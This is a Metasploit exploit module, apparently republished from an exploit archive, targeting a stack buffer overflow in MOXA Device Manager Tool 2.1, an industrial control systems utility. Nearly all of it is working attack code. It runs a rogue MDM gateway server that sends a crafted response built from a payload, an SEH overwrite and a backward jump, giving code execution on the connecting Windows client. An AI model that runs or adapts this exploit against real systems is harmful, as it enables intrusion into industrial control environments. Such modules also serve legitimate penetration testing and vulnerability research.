MOXA Device Manager Tool 2.1 - Buffer Overflow

                                                ##
# $Id: moxa_mdmtool.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote

	Rank = GreatRanking

	include Msf::Exploit::Remote::TcpServer
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MOXA Device Manager Tool 2.1 Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in MOXA MDM Tool 2.1.
				When sending a specially crafted MDMGw (MDM2_Gateway) response, an
				attacker may be able to execute arbitrary code.
			},
			'Author'         => [ 'Ruben Santamarta', 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11039 $',
			'References'     =>
				[
					[ 'OSVDB', '69027'],
					[ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=70&Itemid=' ],
					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-Alert-10-293-02.pdf' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'MOXA MDM Tool 2.1', { 'Ret' => 0x1016bca7 } ], # UTU.dll / keeping the rop version for me...
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Oct 20 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 54321 ])
			], self.class)
	end

	def on_client_connect(client)

		return if ((p = regenerate_payload(client)) == nil)

		client.get_once

		sploit = rand_text_alpha_upper(18024)

		sploit[0, 4] = [0x29001028].pack('V')
		sploit[472, payload.encoded.length] = payload.encoded
		sploit[1072, 8] = generate_seh_record(target.ret)
		sploit[1080, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-550").encode_string

		client.put(sploit)

		handler(client)

		service.close_client(client)

	end
end